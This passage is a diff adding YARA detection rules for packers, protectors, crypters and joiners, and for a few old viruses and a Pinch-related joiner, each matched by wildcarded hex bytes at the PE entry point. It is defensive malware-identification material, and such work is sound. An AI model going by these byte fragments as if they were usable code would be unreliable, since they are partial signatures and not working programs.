+	rule Themida1201compressedOreansTechnologies
+	{
+	strings:
+			$a0 = { B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv155
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A2 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 9E 80 40 ?? BB 2D 12 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PolyCryptPE214b215JLabSoftwareCreationshsigned
+	{
+	strings:
+			$a0 = { 50 6F 6C 79 43 72 79 70 74 20 50 45 20 28 63 29 20 32 30 30 34 2D 32 30 30 35 2C 20 4A 4C 61 62 53 6F 66 74 77 61 72 65 2E 00 50 00 43 00 50 00 45 }
+
+	condition:
+			$a0
+	}
+	
+	rule PECompactv156
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 90 40 ?? 87 DD 8B 85 A2 90 40 ?? 01 85 03 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 9E 90 40 ?? BB 2D 12 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PGMPACKv013
+	{
+	strings:
+			$a0 = { FA 1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PGMPACKv014
+	{
+	strings:
+			$a0 = { 1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner0232Lite003Anorganix
+	{
+	strings:
+			$a0 = { 60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakePEtite22FEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 B8 00 00 00 00 68 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MEW10byNorthfox
+	{
+	strings:
+			$a0 = { 33 C0 E9 ?? ?? FF FF ?? 1C ?? ?? 40 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule theWRAPbyTronDoc
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF 8B F0 B2 01 A1 B4 C3 40 00 E8 F1 5B F4 FF 89 03 33 D2 8B 03 E8 42 1E F5 FF 66 B9 02 00 BA FC FF FF FF 8B C6 8B 38 FF 57 0C BA B8 A7 4D 00 B9 04 00 00 00 8B C6 8B 38 FF 57 04 83 3D B8 A7 4D 00 00 0F 84 5E 01 00 00 8B 15 B8 A7 4D 00 83 C2 04 F7 DA 66 B9 02 00 8B C6 8B 38 FF 57 0C 8B 0D B8 A7 4D 00 8B D6 8B 03 E8 2B 1F F5 FF 8B C6 E8 B4 5B F4 FF 33 D2 8B 03 E8 DF 1D F5 FF BA F0 44 4E 00 B9 01 00 00 00 8B 03 8B 30 FF 56 04 80 3D F0 44 4E 00 0A 75 3F BA B8 A7 4D 00 B9 04 00 00 00 8B 03 8B 30 FF 56 04 8B 15 B8 A7 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Petitev211
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Petitev212
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MaskPEV20yzkzero
+	{
+	strings:
+			$a0 = { B8 18 00 00 00 64 8B 18 83 C3 30 C3 40 3E 0F B6 00 C1 E0 ?? 83 C0 ?? 36 01 04 24 C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner01Morphine12Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EZIPv10
+	{
+	strings:
+			$a0 = { E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule y0dasCrypterv12
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ChinaProtectdummy
+	{
+	strings:
+			$a0 = { C3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 56 8B ?? ?? ?? 6A 40 68 00 10 00 00 8D ?? ?? 50 6A 00 E8 ?? ?? ?? ?? 89 30 83 C0 04 5E C3 8B 44 ?? ?? 56 8D ?? ?? 68 00 40 00 00 FF 36 56 E8 ?? ?? ?? ?? 68 00 80 00 00 6A 00 56 E8 ?? ?? ?? ?? 5E C3 }
+
+	condition:
+			$a0
+	}
+	rule BopCryptv10
+	{
+	strings:
+			$a0 = { 60 BD ?? ?? ?? ?? E8 ?? ?? 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MinkeV101Codius
+	{
+	strings:
+			$a0 = { 26 3D 4F 38 C2 82 37 B8 F3 24 42 03 17 9B 3A 83 01 00 00 CC 00 00 00 00 06 00 00 00 01 64 53 74 75 62 00 10 55 54 79 70 65 73 00 00 C7 53 79 73 74 65 6D 00 00 81 53 79 73 49 6E 69 74 00 0C 4B 57 69 6E 64 6F 77 73 00 00 8A 75 46 75 6E 63 74 69 6F 6E 73 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner02BorlandDelphiDLLAnorganix
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 B4 B8 90 90 90 90 E8 00 00 00 00 E8 00 00 00 00 8D 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule bambam004bedrock
+	{
+	strings:
+			$a0 = { BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 C0 09 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackFullEdition117DLLLZMAAp0x
+	{
+	strings:
+			$a0 = { 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEtitev22
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEtitev20
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 18 8B CC 8D A0 54 BC ?? ?? 8B C3 8D 90 E0 15 ?? ?? 68 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule PEtitev21
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ElicenseSystemV4000ViaTechInc
+	{
+	strings:
+			$a0 = { 00 00 00 00 63 79 62 00 65 6C 69 63 65 6E 34 30 2E 64 6C 6C 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule VProtectorV10Build20041213testvcasm
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 1A 89 40 00 68 56 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Themida18xxOreansTechnologies
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 }
+	$a1 = { B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule EXEJoinerv10
+	{
+	strings:
+			$a0 = { 68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MicroJoiner11coban2k
+	{
+	strings:
+			$a0 = { BE 0C 70 40 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01FSG10Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov200b2200b3
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RAZOR1911encruptor
+	{
+	strings:
+			$a0 = { E8 ?? ?? BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElock051tE
+	{
+	strings:
+			$a0 = { C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 00 00 59 EB 01 EB AC 54 E8 03 00 00 00 5C EB 08 8D 64 24 04 FF 64 24 FC 6A 05 D0 2C 24 72 01 E8 01 24 24 5C F7 DC EB 02 CD 20 8D 64 24 FE F7 DC EB 02 CD 20 FE C8 E8 00 00 00 00 32 C1 EB 02 82 0D AA EB 03 82 0D 58 EB 02 1D 7A 49 EB 05 E8 01 00 00 00 7F AE 14 7E A0 77 76 75 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SDProtectorBasicProEdition112RandyLi
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E2 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxFaxFreeTopo
+	{
+	strings:
+			$a0 = { FA 06 33 C0 8E C0 B8 ?? ?? 26 ?? ?? ?? ?? 50 8C C8 26 ?? ?? ?? ?? 50 CC 58 9D 58 26 ?? ?? ?? ?? 58 26 ?? ?? ?? ?? 07 FB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PseudoSigner02MEW11SE10Anorganix
+	{
+	strings:
+			$a0 = { E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Joinersignfrompinch250320072010
+	{
+	strings:
+			$a0 = { 81 EC 04 01 00 00 8B F4 68 04 01 00 00 56 6A 00 E8 7C 01 00 00 33 C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 56 E8 50 01 00 00 8B D8 6A 00 6A 00 6A 00 6A 02 6A 00 53 E8 44 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxSK
+	{
+	strings:
+			$a0 = { CD 20 B8 03 00 CD 10 51 E8 00 00 5E 83 EE 09 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEStubOEPv1x
+	{
+	strings:
+			$a0 = { 40 48 BE 00 ?? ?? 00 40 48 60 33 C0 B8 ?? ?? ?? 00 FF E0 C3 C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule MoleBoxV23XMoleStudiocom
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 60 E8 4F 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxHymn1865
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5E 83 EE 4C FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 ?? ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 50 06 56 1E 0E 1F B8 00 C5 CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule kkrunchyRyd
+	{
+	strings:
+			$a0 = { BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECryptv100v101
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CERBERUSv20
+	{
+	strings:
+			$a0 = { 9C 2B ED 8C ?? ?? 8C ?? ?? FA E4 ?? 88 ?? ?? 16 07 BF ?? ?? 8E DD 9B F5 B9 ?? ?? FC F3 A5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor2117StrongbitSoftCompleteDevelopment
+	{
+	strings:
+			$a0 = { BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule WWPACKv303
+	{
+	strings:
+			$a0 = { B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 BB ?? ?? 53 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule GHFProtectorpackonlyGPcH
+	{
+	strings:
+			$a0 = { 60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 61 B9 FC FF FF FF 8B 1C 08 89 99 ?? ?? ?? ?? E2 F5 90 90 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 01 D6 8B 46 0C 85 C0 0F 84 87 00 00 00 01 D0 89 C3 50 B8 ?? ?? ?? ?? FF 10 85 C0 75 08 53 B8 ?? ?? ?? ?? FF 10 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 00 00 00 00 BA ?? ?? ?? ?? 8B 06 85 C0 75 03 8B 46 10 01 D0 03 05 ?? ?? ?? ?? 8B 18 8B 7E 10 01 D7 03 3D ?? ?? ?? ?? 85 DB 74 2B F7 C3 00 00 00 80 75 04 01 D3 43 43 81 E3 FF FF FF 0F 53 FF 35 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 89 07 83 05 ?? ?? ?? ?? 04 EB AE 83 C6 14 BA ?? ?? ?? ?? E9 6E FF FF FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 8B 15 ?? ?? ?? ?? 52 FF D0 61 BA ?? ?? ?? ?? FF E2 90 C3 }
+	$a1 = { 60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	
+	rule yzpackV11UsAr
+	{
+	strings:
+			$a0 = { 60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 8D 40 7C 8B 40 3C 89 45 04 E8 F3 07 00 00 60 8B 5D 04 8B 73 3C 8B 74 33 78 03 F3 56 8B 76 20 03 F3 33 C9 49 92 41 AD 03 C3 52 33 FF 0F B6 10 38 F2 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxDanishtiny
+	{
+	strings:
+			$a0 = { 33 C9 B4 4E CD 21 73 02 FF ?? BA ?? 00 B8 ?? 3D CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule UPXV194MarkusOberhumerLaszloMolnarJohnReiser
+	{
+	strings:
+			$a0 = { FF D5 80 A7 ?? ?? ?? ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule yzpack112UsAr
+	{
+	strings:
+			$a0 = { 5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00 ?? ?? 0B 01 ?? ?? ?? ?? 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule PseudoSigner02YodasProtector102Anorganix
+	{
+	strings:
+			$a0 = { E8 03 00 00 00 EB 01 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+/*	
+	rule StarForce30StarForceTechnology
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? FF 25 ?? ?? 63 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/	
+	
+	rule PseudoSigner02PESHiELD025Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPacKV34V35LiuXingPing
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 01 0F 84 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule DualseXe10
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NoodleCryptv200EngNoodleSpa
+	{
+	strings:
+			$a0 = { EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule SoftComp1xBGSoftPT
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Petite13c1998IanLuck
+	{
+	strings:
+			$a0 = { 9C 60 50 8D 88 00 ?? ?? ?? 8D 90 ?? ?? 00 00 8B DC 8B E1 68 00 00 ?? ?? 53 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 DA 14 00 00 8B 44 24 18 F6 42 03 80 74 19 FD 80 72 03 80 8B F0 8B F8 03 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PENightMarev13
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D B9 ?? ?? ?? ?? 80 31 15 41 81 F9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillo50DllSiliconRealmsToolworks
+	{
+	strings:
+			$a0 = { 83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 20 15 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 D7 23 00 00 59 89 7D FC FF 75 08 E8 EC 53 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 2B C5 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 19 ED FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 7D 22 00 00 59 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ObsidiumV1350ObsidiumSoftware
+	{
+	strings:
